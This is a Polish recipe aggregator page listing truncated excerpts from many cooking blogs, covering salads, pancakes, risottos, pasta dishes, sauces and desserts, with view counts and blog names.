przygotowane filety są niezwykle soczyste, po prostu rozpływają się w ustach, a sos na bazie wina, masła i śmietany, no cóż… poezja 😀 Składniki 1 podwójna pierś z kurczaka … Czytaj dalej Filet z kurczaka zapiekany w warzywach

czarrna od kuchni
Placki z cukinii 295

minuty, z każdej strony, aż będą złociste. Usmażone odsączamy z nadmiaru tłuszczu, na ręczniku papierowym, wyłożonym na talerzu. Podajemy posypane posiekanym szczypiorkiem. Wybornie smakują ciepłe i zimne, z ulubionymi sosami

Moja smaczna kuchnia
Śmietankowe placuszki z czekoladą i truskawkami 191

śniadanie czy na deser będą znakomite. Małe, puchate, z truskawkami i sosem czekoladowym, czegóż chcieć więcej w letni poranek. Placuszki na śniadanie zawsze smakują wybornie więc polecam ten typ śniadania. Śmietankowe placuszki z czekoladą i truskawkami. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Risotto z grzybami mun 235

zalania 2 cukinie 1 duża cebula 4 ząbki czosnku 2 marchewki duża garść fasolki szparagowej (może być mrożona) 1 szklanka zielonego groszku (może być mrożony, opcjonalnie) sól, pieprz sos tamari lub sojowy do smaku 1 łyżeczka oleju kokosowego do smażenia Wykonanie: Grzyby wysypujemy z opakowania pamiętając o usunięciu saszetki z pochłaniaczem wilgoci, zalewamy wrzątkiem i przykrywamy. Ja zwykle moczę grzyby

Lamarida.pl
Pasztet z soczewicy zielonej 147

owoce jałowca 3 ziarna ziela angielskiego olej do smażenia 2 szklanki ugotowanej zielonej soczewicy 1 szklanka ugotowanej zimnej kaszy jaglanej 1 łyżeczka majeranku 1/2 łyżeczki cząbru 2 łyżki sosu tamari (lub sojowego w wersji glutenowej) 1/4 szklanki wody sól i czarny pieprz do smaku 10 suszonych śliwek (opcjonalnie) Wykonanie: Soczewicę i kaszę jaglaną gotujemy do miękkości. Ja zwykle gotuję

Lamarida.pl
Bakłażany nadziewane kaszą jaglaną 144

czosnku (lub łyżeczka pasty czosnkowej ) 2 duże pomidory kilka gałązek natki pietruszki lub świeżej kolendry 1/2 łyżeczki oregano 1/2 łyżeczki bazylii 1 łyżeczka kolendry suszonej 1 łyżka tamari lub sosu sojowego sól i pieprz do smaku Wykonanie: Kaszę jaglaną gotujemy do miękkości według przepisu na opakowaniu. Umyte bakłażany przecinamy na połówki, ostrożnie czubkiem noża nacinamy miąższ “w kratkę” – zobacz

Lamarida.pl
Czarna fasola 149

pomidory z puszki, a całość zalewamy wodą, żeby przykryła warzywa i często mieszając gotujemy na wolnym ogniu aż warzywa zmiękną, a woda odparuje i uzyskamy fasolę w gęstym sosie. Podajemy z ryżem, kaszą jaglaną albo na liściu sałaty – ta ostatnia to nasza ulubiona wersja Smacznego! Artykuł Czarna fasola pochodzi z serwisu Lamarida.pl

Lamarida.pl
Tofucznica doskonała 209

minut, co jakiś czas mieszając naszą tofucznicę. Gdy jest już prawie gotowa, wrzucamy pokrojony szczypiorek, całość mieszamy i smażymy jeszcze przez około minutę. Podajemy solo, z pieczywem albo ulubionym sosem. Ja osobiście tofucznicę spożywaną w porze lunchu lubię łączyć z buraczkami czerwonymi – dla mnie pychotka . Smacznego! Artykuł Tofucznica doskonała pochodzi z serwisu Lamarida.pl

Lamarida.pl
Bezglutenowe wegańskie mini quiche 368

większych pieczarek 1/2 brokuła 1 niewielka marchewka garść świeżego szpinaku (opcjonalnie) Masa z tofu: 300 g tofu 3 łyżki mąki jaglanej 2 łyżki wody 1 łyżka tamari (lub sosu sojowego) 1 łyżeczka czosnku granulowanego 1 łyżeczka oregano 1 łyżeczka bazylii 2 łyżki płatków drożdżowych (opcjonalnie) pieprz i sól do smaku olej do smażenia (opcjonalnie) Wykonanie: Pieczarki obieramy ze skórki

Lamarida.pl
Fit placuszki drobiowe z cukinią 219

Dodatkowo, podałam je z sałatką wraz z dodatkiem świeżego szpinaku, pomidora, rzodkiewki i czerwonej cebulki. Prosto i pysznie :) Jeżeli nie lubicie suchego mięsa to placuszki możecie podać, np. z sosem pieczeniowym.  Składniki na 3-4 porcje: 0,5 kg mięsa mielonego z piersi kurczaka 1,5 sztuki młodej cukinii 2 jajka (rozmiar m) 8-10 łyżek mąki pszennej

Ugotować
PRZEPISY NA GRILLA Z HENRYK KANIA! 194

posmarowania foli aluminiowej Kiełbaski grillujemy w foli dzięki czemu, jabłko pięknie nam się rozpraży, zioła w tym rozmaryn oddadzą cały aromat, a cała kiełbaska ugrilluje się we własnym sosie. Danie dzięki temu jest soczyste i bardzo, bardzo aromatycznie! Folię aluminiową posmaruj oliwą, ułóż porcję kiełbasek, dodaj gałązki rozmarynu i pokrojone na ósemki, kawałki jabłka. Całość szczelnie zamknij, jak cukiereczka. Kiełbaski

SMYKWKUCHNI
Szybki makaron z patelni 254

pokroić w kostkę. Podsmażyć na oleju. Następnie dodać pokrojoną w kostkę lub paski szynkę oraz pomidory. Smażyć przez chwilę razem. Następnie dodać serek topiony i trochę wody. Mieszać, aż sos będzie gładki. Makaron ugotować wg przepisu na opakowaniu i przełożyć na patelnię. Wymieszać i od razu podać

Ewusiowe Smaki
Czekoladowy makaron z brzoskwiniami 192

dzieciom i są świetną bazą do tworzenia smakowitych deserów dla niejadków. Pomysłów na ich wykorzystanie jest mnóstwo od tych najprostszych jak dodatek jogurtu i owoców, po przez bardziej skomplikowane sosy czy smakowite zapiekanki. U nas tym razem wygrał brak czasu i ciekawość - dlatego postawiłam na szybki deser z serkiem i brzoskwiniami, wyszło lekko, letnio i pysznie. Może również się skusicie

Cynamonowe szczęście
Kotlety ziemniaczane – puszyste, miękkie i delikatne, z minimalną ilością mąki 206

razu podajemy albo żeby utrzymać ich ciepło i chrupkość – wkładamy na kratkę rozgrzanego na 120⁰C piekarnika, w międzyczasie smażąc resztę, do wykończenia ciasta. Pyszne są z sosem grzybowym, z gulaszem – a w lżejszym letnim wydaniu z gęstym greckim jogurtem, drobniutko posiekanym koprem i wędzonym na zimno łososiem. SKŁADNIKI na 12 kotletów 1kg ziemniaków typu użytkowego C, bardzo mącznych

Karo in the Kitchen
Lato 2017: Mój ulubiony zestaw obiadowy na lato 166

płynne żółtka, jajka smaż krócej, a jeśli lubisz ścięte żółtka, jajka smaż trochę dłużej. Usmażone jajka ostrożnie przełóż na talerz i podawaj posypane szczypiorkiem z np. dodatkiem ziemniaków, szarego sosu i dowolnej surówki lub warzyw gotowanych

blog.moje-pasje.info
Lekkie danie. Fasolka z kurkami w lekkim paprykowym sosie 240

Uwielbiam fasolkę i kurki. Dziś postanowiłam przygotować coś lekkiego z połączenie obu składników. I tak powstała… pyszna fasolka z kurkami w lekkim paprykowym sosie. Lekkie danie , które możecie zjeść samo lub podać jako dodatek np. do ryżu czy kaszy. Cały sekret dania tkwi w dobrze dobranych przyprawach. Polecam Wam przyprawy Skworcu – jakość, smak i niska cena! Warto zajrzeć

Słodkie okruszki
Arbuzowa pizza z owocami i jogurtem (Pizza di anguria con frutta e yogurt) 209

Pizza  nie zawsze musi być przygotowywana z ciasta drożdżowego z dodatkiem sosu pomidorowego. Do zrobienia pizzy możemy wykorzystać również plastry arbuza, jogurt naturalny lub owocowy i du ż ą  ilość świeżych owoców. W ten sposób uzyskamy przepyszn ą  propozycję na śniadanie lub podwieczorek dla naszych małych pociech, ale nie tylko ;)     Owocowa pizza jest prosta

La grande e la piccola cuoca
Roszponka z pomarańczą, fetą i słonecznikiem 300

oliwek sól, pieprz do smaku Roszponkę umyć i dobrze osuszyć. Wrzucić do miski. Dodać obraną i pokrojoną w kawałki pomarańczę oraz pokruszoną fetę. Wierzch posypać prażonym słonecznikiem. Przygotujcie sos – najlepiej w słoiku wymieszajcie – oliwę, sok z pomarańczy, miód oraz przyprawy. Polejcie sałatkę dressingiem bezpośrednio przed podaniem. Smacznego

Szybko Tanio Smacznie
Sałatka z kurczakiem, mango, miętą i orzechami nerkowca 223

posiekane orzechy nerkowca. Latem obowiązkowo musicie ją wykonać. Składniki (na 3 porcje): 500 gram piersi kurczaka  marynata: 1 łyżka musztardy francuskiej, sok z połowy cytryny, 2 łyżki sosu sojowego, 1 łyżka syropu klonowego  1 mango  garść świeżej mięty 200 gram mixu sałat (użyłam z burakiem) garść orzechów nerkowca  dressing: 1/2 łyżeczki musztardy francuskiej, łyżka syropu klonowego

Mango Papaja
Omlet ze szpinakiem i boczkiem! + KONKURS 221

omlet był bardziej sycący i dawał nam energię na cały dzień. Kocham przyrządzać dania na patelni, a moja kuchnia nie wyobraża sobie jej braku. Kocham jajecznice, omlety, jajka sadzone, sosy do makaronu, a do wszystkiego potrzebne jest zaledwie jedno naczynie Uważam, że osoba, która uwielbia gotować, powinna posiadać przynajmniej jeden egzemplarz dobrej, wytrzymałej patelni, dlatego też daję Wam szansę

Kuchnia Bazylii
Fit salatka z kalafiora 169

aromaty. Liście sałaty rwiemy na drobniejsze kawałki. Ugotowane jajka kroimy na ósemki, pomidory w kostkę lub na pół w przypadku pomidorów koktajlowych. Wszystkie składniki wkładamy do miski i polewamy sosem. Mieszamy delikatnie i podajemy. Sałatka doskonale nadaje się również do pracy :) Smacznego

Kuchnia od dwojga
Pełnoziarniste burgery z łososiem, warzywami, ziołowym jogurtem i ketchupem 197

specjalne, lekkie burgery, bo grillowanie nie oznacza jedzenia tylko tłustych, mięsnych i ciężkostrawnych dań. Jako zdrowszą i lżejszą alternatywę, proponuję pełnoziarniste pieczywo podane z zielonymi warzywami, soczystą rybą, sosem jogurtowym z ziołami oraz ketchupem Kotlin Łagodny 60% mniej kalorii. Ketchup, który wykorzystałam do mojego dania, nie zawiera konserwantów oraz substancji wzmacniających smak. Jest też bezglutenowy, można więc go smakować

Mienta blog
OMLET Z TUŃCZYKIEM I WARZYWAMI 218

mnie na talerzu 🤣 ) Zawsze robię je w piekarniku, dzięki czemu zaoszczędzam czas na pilnowaniu (tak jak w przypadku patelni) Składniki 👉 3 jaja 👉 50 g tuńczyka z puszki (w sosie własnym) 👉 50 g sałat 👉 100 g pomidora 👉 10 g tłuszczu 👉 przyprawy Przygotowanie: 1. Białka ubić ze szczyptą soli, dodać żółtko, przyprawy i wymieszać delikatnie. 2. Rozgrzać tłuszcz/wysmarować formę

Zdrowie i pysznie na talerzu
SERNIKOWY MIX ORZECHOWO WIŚNIOWY 190

pyszny! Może się wydawać że takie połączenie składników wydaję się nie do przełknięcia ale zapewniam Was, że będzie na odwrót i na jednym kawałku się nie skończy (polecam polać sosem czekoladowym :P ) Składniki: ✓puszka mleka kokosowego (można pominąć) ✓140 g płatków owsianych * ✓45 g rodzynek ✓30 g masła orzechowego* ✓200 g dżemu wiśniowego ✓500 g twarogu chudego/gotowej masy sernikowej

Zdrowie i pysznie na talerzu
Risotto z bobem, ziołowym pesto i pomidorkami koktajlowymi 184

Makaron z pesto zna każdy. A czy wiedzieliście, że risotto z dodatkiem zielonego sosu to równie genialny duet? :) Kremowe, ziołowe, serowe... no po prostu petarda! Mogłabym je zjeść całe tak po prostu. Ale dodałam koktajlowych pomidorków oraz przyniesiony właśnie świeżutki bób i otrzymałam pyszne i proste letnie danie, którego koniecznie musicie spróbować :) Do risotto możecie dodać tradycyjne pesto bazyliowe

Chilli Czosnek i Oliwa
SAŁATKA ŚLEDZIOWA Z ZIELONYM GROSZKIEM I KUKURYDZĄ 177

wymieszać z majonezem i musztardą ewentualnie lekko posolić. Pokrojone filety śledziowe oraz groszek, kukurydzę, cebulę, marchewkę i jajka włóż do miseczki, dosyp posiekany koperek - wymieszać. Na koniec polać przygotowanym sosem śmietanowo - musztardowym. Dobrze wymieszać. Sałatkę odstawić w chłodne miejsce, aby smaki dobrze się przegryzły. Podawać z ulubionym pieczywem. Rada: można użyć musztardy francuskiej lub swojej ulubionej zamiast cebuli czerwonej można

Ciastka - domowe słodkości
Kolorowa sałatka 215

łyżka szczypiorku (ok. 8 g). - sól i pieprz. Sposób przygotowania 1. Sałatę kroimy w paski. 2. Obraną marchew, ser i cukinię trzemy na tarce. 3. Przygotowujemy sos: mieszamy jogurt naturalny z sokiem z cytryny, skórką z cytryny, koperkiem, szczyptą soli i pieprzu. 4. Wszystkie składniki układamy warstwowo. 5. Sałatkę dekorujemy pomidorkami i szczypiorkiem. Kolorowa sałatka jest bogata w: - błonnik pokarmowy

Zdrowe odżywianie w pięciu smakach
Chrupiące greckie dakos z pomidorami i fetą 187

posiekaną cebulę i natkę pietruszki. Dolewamy oliwy i doprawiamy solą, pieprze oraz oregano. Całość mieszamy.  Na wcześniej przygotowanych sucharkach jęczmiennych wykładamy pomidory w przyprawach i oliwie, razem z sosem. Dakos posypujemy kruszoną fetą i oliwkami . Całość dodatkowo skrapiamy oliwą. Serwujemy zaraz po przygotowaniu. Smacznego. Oliwki kreteńskie Tsounates Dzisiejszy wpis zawierał lokowanie produktów sklepu internetowego kreta24.pl Specjalnie dla czytelników mojego

kulinarnyJa
Rojoes. Wieprzowina po portugalsku. 264

gotowania są pierwszorzędne i powinny sprawić, że okoliczni mięsożercy zaczną krążyć nam wokół garnka. ;) Ziemniaki są koniecznym dopełnieniem dania. Ja moje zwyczajnie ugotowałem, ale dobrze jest odlać nieco winnego sosu i poddusić je w nim dodatkowo. Składniki: 1 kg łopatki wieprzowej (możliwie najtłustszej) 300 ml białego wytrawnego wina 1 łyżeczka kuminu 2 duże ząbki czosnku 2 listki laurowe 1 łyżeczka

zadanie-gotowanie
Sałatka z bobem i suszonymi pomidorami 242

połplasterki. Na talerzu ułożyć porwaną na kawałki sałatę, na to kolejno bób, rzodkiewkę, ogórka, pomidory oraz z wierzchu posypać cebulą i szczypiorkiem. W miseczce dokładnie wymieszać składniki na sos, polać po całości. Smacznego

magiczna kuchnia Kasi
Sos truskawkowy do słoika 271

wspanialszego zimą jak wspomnienia lata zamknięte w słoiku. Myślę, że tym sosem kradniecie serca domowników. Idealny do naleśników i innych deserów. A robi się go zalewie 30 minut. Gotowi do startu ... no to start :) Składniki: 1kg truskawki 35 dag cukru 1/2 soku z cytryny Truskawki umyć, osuszyć, pozbyć się szypułek. Do szerokiego rondla wsypać truskawki i cukier wszytko zagotować

Delicious Titbits
Surówka z kapusty pekińskiej 197

ogórka wężowego 3-4 pomidory 1 czerwona cebula lub pęczek dymki sól, pieprz Dressing : 50ml wody 1 łyżka cukru 1 ząbek czosnku wyciśnięty przez praskę 2 łyżki sosu sojowego 1 łyżka soku z cytryny 1 łyżka octu ryżowego 1 papryczka chilli drobno posiekana (opcjonalnie) Przygotowanie : Kapustę pekińską podzielić - poodrywać liście. Z każdego liścia wykroić głąba, zostawić tyko miękką część. Liście

Codzienne Gotowanie
Zapiekanka ryżowa z kurczakiem i kolorowymi warzywami 404

danie. Moim chłopakom bardzo smakowało. Składniki do tej zapiekanki ryżowej można przygotować sobie dzień wcześniej - ugotować ryż, zamarynować, a nawet obsmażyć, mięso. Potem, zanim nagrzeje się piekarnik, zróbcie tylko sos i dodajcie do kurczaka warzywa konserwowe z puszki. Złożenie wszystkiego w całość trwa tylko chwilę, pieczenie zaledwie 30 minut i pyszny obiad gotowy. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Domowy jogurt naturalny 179

zapraszam Was po przepis na domowy jogurt naturalny. Jest to moje pierwsze podejście do domowej produkcji ale nie ostatnie. Domowy jogurt naturalny możemy wykorzystać do przygotowania różnych deserów, ciast, sosów i nie tylko. Jeśli zrobicie smakowy to już będziecie mieli mniej możliwości a tak z naturalnego macie szersze pole do popisu. Zakwaskę na jogurt jest łatwo kupić, bo znajdziecie

Ewa w kuchni
Fenkuł duszony w martini 148

dodałem czosnek. Po około 3 minutach dodałem plasterki fenkułu i smażyłem kolejne 3 minuty, mieszając. Wlewam martini na patelnię i całość dusiłem na małym ogniu przez 10 minut, aż sos zgęstniał. Pod koniec duszenia dodałem zahartowaną śmietanę i natkę fenkułu. Doprawiłem solą i pieprzem. Przed podaniem posypałem startym parmezanem i natką pietruszki

R'n'G Kitchen
Gofry ziemniaczane 189

własnym domu – a na prawdę warto! Z czym podawać gofry ziemniaczane? Ja postawiłem na prostotę, ponieważ… jestem leniwy. Zarzuciłem usmażoną cebulą i tyle. Świetnie natomiast sprawdziłby się sos grzybowy lub jakiś gulasz. Wolisz jednak gofry na słodko? Zobacz koniecznie ostatni przepis na gofry bezglutenowe . Niebo w gębie. Artykuł Gofry ziemniaczane pochodzi z serwisu Blendman.pl - kuchnia roślinna

Blendman
Ciasto czekoladowe bez tłuszczu słodzone daktylami. 204

czekoladowe, wilgotne, ciężkawe, trochę podobne do Brownie, ale nie takie zbite. Słodycz delikatna i nie dominująca nad owocami. Tym którzy woleli słodsze, zrobiłem jak Pani radziła, podałem ze słodkim sosem z malin." Reasumując, skoro smakowało, tzn przepis trafiony  w konkretnego Odbiorcę

Dieta moja pasja
Truskawkowo waniliowa zebra 207

dań, ale też doskonałym składnikiem zbilansowanej diety. Najlepsze i najzdrowsze są oczywiście spożywane na surowo. W kuchni można je wykorzystywać wszechstronnie – do sałatek, surówek, przystawek, pierogów, makaronów, ryżu, zup, sosów, deserów, ciast, koktajli. Przetworzone – na dżemy, konfitury, wina, nalewki, likiery . Idealne ciasto na niedzielę … i nie tylko – truskawkowo waniliowa zebra. Ciasto półkruche: - 500 g mąki krupczatki

mojewypiekiinietylko
Grzanki piknikowe 918

składniki mogą być naprawdę dowolne. Ja w tych z przepisu poniżej użyłam... zupełnie nie tego co planowałam :D miał być jeszcze pomidor, papryka, rukola... Miały być polane keczupem i sosem czosnkowym... Ale w rezultacie przygotowałam absolutnie podstawową wersję, bo z moimi dziewczynkami ostatnio ciężko cokolwiek zdziałać. Taki etap ;) zdjęcia też robione w kilka minut, pośród krzyków, płaczu i wrzasków

Kolorowy Przepisownik
Młode ziemniaczki zapiekane w boczku 188

sposób można upiec inne warzywa, na przykład młoda marchewkę, seler, pietruszkę, etc. Ich nie trzeba obgotowywać przed pieczeniem. Jeśli są większe, to wystarczy przekroić wzdłuż. Podawać z ziołowymi sosami na bazie jogurtu lub pikantnymi dipami. Kiedy ja przygotowywałam ten wpis, mój kot Klakier, schowany w kartonie, śledził latającą mu przed nosem muchę

Codzienna kuchnia niecodzienna
Sałatka z tuńczykiem i ryżem 281

składnikiem jest naturalny ryż oraz kukurydza i czerwona fasola. Oto przepis na pyszną sałatkę z tuńczykiem, ryżem i czerwoną fasolą. Składniki 100 g ryżu naturalnego 1 puszka tuńczyka w sosie własnym 1 puszka czerwonej fasoli 1 puszka kukurydzy 1 szalotka 1 małe opakowanie jogurtu naturalnego 4 łyżki posiekanego szczypioru garść świeżych ziół (np. natka pietruszki) sól świeżo mielony pieprz

My Chcemy Jeść
Makaron z brokułem i kurczakiem w sosie śmietanowym i paprykowej nucie 140

doprawić do smaku - ostrą papryką , ziołami prowansalskimi oraz solą z pieprzem. Na końcu wmieszać makaron. (Makaron można wymieszać z kurczakiem na patelni lub nałożyć na talerze i polać sosem

Di gotuje
Kurczak w sosie śmietankowym z bobem i pomidorami 472

Cebulę pokroić w kostkę i zeszklić razem z rozgniecionym czosnkiem. Oprószyć mąką i chwilę smażyć na małym ogniu. Stale mieszając wlewać bulion, a po rozprowadzeniu wlać kremówkę. Gotować, aż sos będzie miał odpowiednią konsystencję, wtedy dołożyć kurczaka, wyłuskany bób i pokrojone pomidory. Przyprawić według smaku, dodając na końcu świeży koperek. Smacznego :) Kategoria: A-Z WYTRAWNIE , Dania z patelni , Mięsa , Obiad

https:KKuchniaMniam
Fasolowe brownie z musem nektarynkowym 212

który ograniczy pole pracy urządzenia. Miksujemy na 12 obrotach przez 10 sekund, zgarniamy szpatułką ze ścianek i ponownie uruchamiamy na 10 sekund. Dodajemy pozostałe składniki i uruchamiamy program Sauce (sosy). Brownie- Fasolę płuczemy i odcedzamy kilka razy pod bieżącą, zimną wodą. W misie urządzenia umieszczamy nóż do wyrabiania ciasta. Wrzucamy wszystkie składniki prócz otrąb. Uruchamiamy na 2 minuty, prędkość

Kuchnia w czekoladzie
Sałatka owocowa z czekoladowym makaronem 217

wody. Wszystkie owoce dokładnie umyć pod silnym strumieniem wody lub wyszorować szczoteczką. Obrać, odszypułkować, wypestkować. Pokroić w kostkę, półplasterki, mniejsze kawałki. W misce połączyć owoce z makaronem i sosem klonowym. Przemieszać do dokładnego połączenia składników. Serwować na zimno, jako pożywny obiad wraz z deserem w jednym . Każdy dzieciak będzie z takiego posiłku zadowolony, gwarantuję

Grunt to przepis!
Kanapka ogórkowa z tuńczykiem 139

Alternatywa dla tradycyjnych kanapek z pieczywa  Składniki 2 świeże ogórki puszka tuńczyka w sosie własnym 2-3 łyżki majonezu 1 ząbek czosnku 1 łyżeczka soku z cytryny pół pęczka natki z pietruszki sól pieprz pomidorki koktajlowe kilka czarnych oliwek bez pestek     Przygotowanie   Ogórki umyłem, przeciąłem na pół, odciąłem końcówki, usunąłem pestki, delikatnie wydrążyłem. Z jednej połówki

R'n'G Kitchen
Grillowana rolada z kurczaka, z batatami i warzywami 192

papryki kolorowe i pomidorki koktajlowe z groszkiem grillowałam i jako całość na obiad 🍴 "po gołym niebem" ☁ ☼ podałam. Składniki: rolada: 4 duże filety z kurczaka, 4 łyżki sosu-marynata teriyaki, 100 g świeżej rukoli, pęczek szczypiorku, ok. 100 g mrożonego groszku zielonego BONDUELLE „Przygotowane na parze”, pieprz czarny świeżo mielony, suszona chili świeżo mielona, 100 g sera miękkiego solankowego

Moniki Smakołyki
Placki ziemniaczane 216

Placki ziemniaczane to danie, które znają prawie wszyscy. Można je jeść na słodko jedynie posypane cukrem lub polane śmietaną. Świetnie smakują również na słono z sosami, mięsem i warzywami podane jako placki po węgiersku, góralsku czy też myśliwsku

Przepisy Kulinarne
Gołąbki, sweterek i Borewicz. 165

Wrzątek przelej do brytfanny. Do gołąbków dolej wody, która powinna je przykrywać. Całość dopraw do smaku solą i gotuj na wolnym ogniu, aż gołąbki będą miękkie. Na końcu powstały sos zaciągnij śmietaną lub śmietaną wymieszaną z mąką pszenną. Gołąbki podawaj z ulubionymi dodatkami, np. ziemniakami, ryżem lub kaszą

blog.moje-pasje.info
Lekka sałatka, idealna do obiadu 172

jest wiele. Właściwie zmieniony jeden, malutki składnik, zmienia cały smak. Można ją potraktować jako bazę, dowolnie modyfikować i udoskonalać. Sałata, świeży ogórek, słodka papryka i orzechowa nuta i kwaskowy sos- bardzo orzeźwiające połączenie. Czytaj więcej

Pichceniomania
Domowy dietetyczny majonez 207

łyżek!). Do porównania prezentowany poniżej majonez  zawiera tylko 107 kcal w 100 g. Są w nim jednak składniki, na które warto zwrócić uwagę, bo działają korzystnie na organizm. Sos majonezowy ma szerokie zastosowanie, możesz go dodawać do większości potraw, takich jak: sałatki, burgery, ryby, dania mięsne oraz do przystawek i dodatków do dań: frytek, jaj, warzyw, wrapów czy kanapek

Menu Zdrowia
RAVIOLI Z NADZIENIEM Z GROSZKU I JARMUŻU O SMAKU MIĘTOWO -KOLĘDROWYM 231

ZROBIĆ KROK PO KROKU RAVIOLI Z NADZIENIEM Z GROSZKU  I JARMUŻU O SMAKU MIĘTOWO -KOLĘDROWYM?  PODANE W SOSIE Z PALONEGO CYTRYNOWEGO MASŁA, Z JARMUŻEM, ZIOŁAMI I MIGDAŁAMI! JESTEM W KULINARNYM NIEBIE! KRÓTKA HISTORIA MIŁOSNA JAK POKOCHAŁAM GROSZEK ZIELONY! Groszek zielony u mnie w domu, był dodawany tylko do dwóch dań, do jarzynowej sałatki warzywnej, którą na pewno

SMYKWKUCHNI
Sałatka z roszponki i owoców w sosie pomarańczowym 295

owoce na roszponce, możesz posypać migdałami. Sok wyciśnięty z połówki pomarańczy wymieszaj z płynnym miodem (podgrzej go delikatnie) i z sokiem z cytryny. Dodaj sól i pieprz. Polej sałatkę sosem i wstaw do lodówki na 15 minut a potem wcinaj Składniki na 2 porcje 70 g roszponki 2 duże pomarańcze lub 3 małe 1 nektarynka garść winogron (najlepiej bez pestek

Eat me! Fit me!
Ligawa, wołowina pieczona w niskiej temperaturze bez soli 224

minuty. Do piekarnika na środkowy poziom wkładamy kratkę kuchenną (nie blachę! i niczym mięsa nie owijamy!), a na spodzie piekarnika stawiamy formę aby zbierał się tam sos z mięsa (będzie go bardzo mało).  3. Piekarnik ustawiamy na 80-90 C i pieczemy ligawę ok. 6 godzin. Po tym czasie wyłączamy piekarnik i minimalnie uchylamy drzwiczki, zostawiamy pieczeń do zupełnego

Apetyczna babeczka
Lato 2017: Naleśniki z jagodami 155

ponownie obsmażyć na natłuszczonej patelni. Takie naleśniki smakują zarówno na ciepło jak i na zimno (obsmażone pod zwinięciu lub nie obsmażone). Przed podaniem można je posypać cukrem pudrem, polać sosem jagodowym lub udekorować w inny dowolny sposób

blog.moje-pasje.info
gulasz drobiowy z zieloną fasolką... 202

fasolkę szparagową zieloną i podsmażać z 3 minuty mieszając dodać kostkę rosołową, kucharka, wlać wodę i gotować na średnim ogniu bez przykrycia z 20 minut, część wody odparuje i sos będzie zagęszczony odpowiednio, na koniec wsypać mielony pieprz i posiekany koperek, zamieszać pyszny, lekki gulasz można podawać z czym się lubi.............SMACZNEGO

W Mojej Kuchni Lubię
Jabłka pod (o)mega kruszonką 172

minut, jeśli wasza kruszonka pod koniec się nie zarumieniła odpowiednio można na chwilę zwiększyć gaz). Jabłka pod (o)mega kruszonką podajemy posypane kokosowymi chipsami i polane delikatnie sosem wiśniowym. S macznego

Słodkie okruszki
Serowe knedle z truskawkami 171

kuleczkę.   Kulki serowe wrzucić do osolonego wrzątku i gotować około 3- 4 minuty od momentu wypłynięcia. Odcedzić,ułożyć na talerzu i podawać z ulubionymi dodatkami. Ja podałam polane sosem z jogurtu i truskawek

Kolorowa kuchnia Elki
Tagliatelle z bałkańskim kozim serem, orzeszkami pinii i pomidorkami koktajlowymi 140

smażyłem delikatnie mieszając przez 2-3 minuty. Doprawiłem solą i pieprzem, zdjąłem z ognia, odstawiłem. Makaron wrzuciłem do wrzątku, ugotowałem al dente. Odcedziłem, przełożyłem z powrotem do garnka. Dodałem sos z pomidorków koktajlowych z patelni, pokruszony ser kozi oraz drobno pokrojone listki bazylii. Wszystko delikatnie mieszając dusiłem przez 30 sekund, aby smaki się połączyły. Przełożyłem na półmisek, udekorowałem listkami bazylii

R'n'G Kitchen
Dietetyczne leczo z cukinią 201

tarki. Gotuj przez ok. 15 minut. Po tym czasie dodaj resztę przypraw i gotuj jeszcze 10 minut.  Następnie dodaj pokrojone pomidory i wyciśnij czosnek - gotuj do momentu zgęstnienia sosu.  Smacznego

wegujemy
SZYBKA SAŁATKA Z CZERWONĄ FASOLĄ I KUKURYDZĄ 180

ORIENTACYJNA CENA POTRAWY: 7 ZŁ. ILOŚĆ PORCJI: 3-5 Składniki: 150 g mieszanki sałat (u mnie ze szpinakiem), 4 pomidorki koktajlowe,  3 łyżki kukurydzy, 3 łyżki fasoli czerwonej, sos sałatkowy grecki Prymat, 150 g jogurtu naturalnego. Przygotowanie: Pomidorki kroję na ćwiartki, warzywa osączam z zalewy. Jogurt mieszam z mieszanką przypraw do sałatek. Wszystkie składniki przekładam do miski, łączę

JejKuchnia
Danie wegańskie z cukinią na oleju kokosowym 167

wrzucić czosnek, podsmażyć, dodać cukinię - wymieszać całość i smażyć do momentu, aż warzywa stracą surowiznę Dodać pokrojone pomidorki i jeszcze chwilę razem smażyć (pod przykryciem), jeśli chcemy mieć więcej sosu do makaronu to dodać można niewielką ilość śmietany (nie używałam prawie do dania soli) Na ugotowany makaron bezglutenowy wyłożyć warzywa

Proste Potrawy
Sałatka z tuńczykiem i jajkiem na twardo – lunch do pracy 385

cyklu zrób to sam, nie kupuj w barze ;)  Tak, bo naprawdę zrobienie takiej sałatki do pracy to kilka minut. Dzień wcześniej kup sałatę, tuńczyka w puszce w sosie własnym, pomidora i jajka :)  Rano, wstaw jajka do gotowania i przeczytaj poniższy przepis by wiedzieć co dalej.    Sałatka z tuńczykiem i jajkiem na twardo sałata zielona  puszka

Kuchnia na wzgórzu
Przykładowy jadłospis odchudzający 1700 kcal #2 176

Porcja) Makaron penne (pełnoziarnisty) – 180 g (2.57 x Szklanka) Czas przygotowania: 30 minut   1. Cebulę podduś na patelni ze zmielonym mięsem. 2. Dodaj pomidory. Gotuj aż sos się lekko zredukuje i dopraw ziołami do smaku. 3. Zjedz z ugotowanym makaronem. PODWIECZOREK K:295.1 / B:10.4 / T:6.8 / W:41.8 / Błonnik:13.1   KANAPKI Z PASTĄ FASOLOWĄ Koper ogrodowy

Powiedz dietom nie
Warzywna sałatka z makaronem ryżowym 169

kroimy w kostkę, a pomidorki koktajlowe przekrawamy na cztery części. Do warzyw dodajemy makaron ryżowy, brokuła i kukurydzę. W miseczce mieszamy majonez z jogurtem naturalnym, musztardą, solą i pieprzem. Sos wlewamy do sałatki. Wszystko razem dokładnie mieszamy do połączenia składników. Szczypiorek drobno siekamy i posypujemy nim wierzch sałatki.  Smacznego :-) Mam dla Was ciekawostkę od firmy Bonduelle:-) Czy wiesz

kulinarne odsłony pati
Sałatka z truskawkami i awokado 196

Słonecznik uprażyć na suchej patelni. Sałatkę posypać prażonym słonecznikiem i pokruszonym serem. Olej wymieszać z sokiem z limonki oraz miodem, do smaku dodać troszkę soli i ziół. Sałatkę skropić sosem i od razu podawać

Monia miesza i gotuje
Penne z rzodkiewką 148

rozpuszczamy masło, wrzucamy rzodkiewki i dusimy pod przykryciem (na wolnym ogniu) ok. 10 min. Następnie dodajemy śmietanę, dokładnie rozprowadzamy, dusimy kilka minut, do smaku doprawiamy solą i pieprzem. Do sosu wrzucamy makaron, dokładnie łączymy, podajemy z posiekaną natką. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow

R'n'G Kitchen
